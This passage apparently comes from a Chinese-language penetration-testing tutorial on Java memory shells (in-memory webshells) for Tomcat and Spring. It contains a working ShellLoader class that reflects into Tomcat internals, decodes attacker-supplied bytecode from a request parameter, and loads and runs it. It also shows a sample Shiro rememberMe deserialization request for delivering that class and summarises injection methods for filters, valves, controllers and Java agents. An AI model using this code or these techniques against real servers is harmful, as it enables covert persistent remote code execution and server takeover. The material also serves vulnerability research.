obj = obj instanceof List ? ((List<?>) obj).get(idx) : Array.get(obj, idx);
clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass();
} else {
clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType();
}
}
return obj;
}
static{
try {
ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField(
Thread.currentThread().getContextClassLoader(),
WebappClassLoaderBase.class,
"resources:org.apache.catalina.webresources.StandardRoot",
"context:org.apache.catalina.core.StandardContext",
"context",
"service:org.apache.catalina.core.StandardService",
"connectors_0:org.apache.catalina.connector.Connector",
"protocolHandler:org.apache.coyote.AbstractProtocol",
"handler:org.apache.coyote.AbstractProtocol$ConnectionHandler",
"global", "processors"
);
for (RequestInfo ri : infos){
org.apache.coyote.Request r = (org.apache.coyote.Request)getField(ri, RequestInfo.class, "req");
Request req = (Request) r.getNote(1);
Response resp = req.getResponse();

PrintWriter out = resp.getWriter();
out.flush();

byte[] bytes = Base64.getDecoder().decode(req.getParameter("code"));
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(ShellLoader.class.getClassLoader(), bytes, 0, bytes.length);
out.println("load success, classInfo: "+clazz.getName());
clazz.newInstance();
}
} catch (Exception e) {}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}

  • 接下来通用使用CB链的反序列化执行ShellLoader
1
byte[] code1 = pool.get("ShellLoader").toBytecode();
  • 将生成的反序列化利用链使用AES加密,然后将加密结果设置为remember的参数,于此同时,我们还需要将我们的注入内存马的Inject.class类,使用base64编码。
  • 那么大致的请求体格式如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /samples_web_war_exploded/account/ HTTP/1.1
Host: 192.168.31.246:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.246:8080/samples_web_war_exploded/login.jsp;jsessionid=20D8DAFA305DD0EBFDF11B0B0DD372D1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,zh-TW;q=0.7
Cookie: rememberMe=WlqWvvrb1KtRI............
Connection: keep-alive
Content-Length: 8808

code=yv66vgAAADQA..........
  • 这样就能将请求参数code的base64编码的字节码,也就是注入内存的逻辑放在请求参数中获取执行,实现内存码注入。

4.总结

JAVA WEB类型,例如servlet、filter、Listener型,这些用起来都大差不差。

这类内存马实现起来比较容易,只需要从request中获取到servletContext,通过servletContext获取到applicationContext然后从里面获取到standardContext,接下来就简单了,如果注入servlet内存马,是需要使用standardContext创建一个Wrapper包装器,然后编写一个servlet恶意代码,将这个servlet set注入到wrapper里,然后将wrapper再添加到standardContext,就成功注入了。

如果是Filter内存马,就可以构建一个FilterDef实例和一个FilterMap实例,并且将编写好的filter恶意代码注入到FilterDef中,然后将FilterDef和FilterMap注入到standardContext,就完成了Filter内存马的注入了。

如果是Listener就更简单了直接就可以将编写好的Listener恶意代码注入到standardContext中,只是listener的回显方式编写会有点区别,需要反射获取request对象用于回显。

然后是框架类型,例如Spring的Controller,Intercepter,还有比较新型的Spring WebFlux,适用于响应式框架。

Spring框架Controller内存马主要是通过WebApplicationContext实现,首先从中获得RequestMappingHandlerMapping,然后将编写好的恶意Controller代码和新构建的请求映射信息注册到mapping中。

然后是Interceptor内存马,只需要从RequestMappingHandlerMapping中获取到adaptedInterceptors,然后将自己构造的恶意监听器添加到这个适配拦截器列表中即可。

或者是中间件型,例如Tomcat Valve,还有一些比较新型的内存码例如WebSocket、RMI型、还有Agent型内存马。

Tomcat Valve型,valve主要是利用tomcat 容器管道中的阀门实现的,因此Valve型可以跨应用实现内存马注入,阀门机制仅针对tomcat容器,实现同样可以使用之前提到的standardContext添加一个恶意的阀门,实现valve型内存马注入,不过这个恶意valve类需要继承ValveBase,重写invoke方法。
而Agent型内存码通常不是在容器内部实现,而是通过hook的方式,在容器外部对容器本身进行操作。

一共有两种方式实现注入,一种是premain,启动时通过启动参数-javaagent指定代理jar包,这种方式通常可以通过修改启动脚本,实现永久内存马的驻留。然后是Agentmain方式通过attach api动态附加到指定进程ID的jvm程序中。代码实现方式是通过编写一个agent java应用,通过对过滤器核心类ApplicationFilterChain进行字节码篡改,利用Javassist工具,将恶意字节码注入到doFilter方法中。

然后是注入方式,常用的就是直接上传JSP代码进行注入,或者JNDI远程字节码加载,不过通过JNDI注入获取Context的方式和直接通过JSP文件上传的方式注入内存马还是有所差异,根据不同的容器版本有不同的获取方式。

然后是通过反序列化注入,例如shiro反序列化注入,不过shiro反序列化注入内存马时需要注入tomcat容器对请求头长度的限制,因此我们需要压缩生成的序列化字段的长度,两种方式一种是出网的话就使用反序列化JNDI加载远程字节码的方式实现,还有一种是不出网,可以利用tomcatEcho那条回显链,获取到request中的请求参数,我们只需要将实现注入内存马的类base64编码后写入到请求参数中,通过获取到requet中的请求参数,解码并加载该类,从而实现内存马注入,以此就绕开了请求头的长度限制,将实现注入逻辑写入到请求体中。

当然除了手写内存马以外,我们在实际渗透过程中更多是通过工具自动注入内存马,手动编写的场景并不多,手动实现场景更多是为了漏洞研究,理解内存马实现的根本逻辑,从而更加灵活的面对原来越复杂的渗透场景。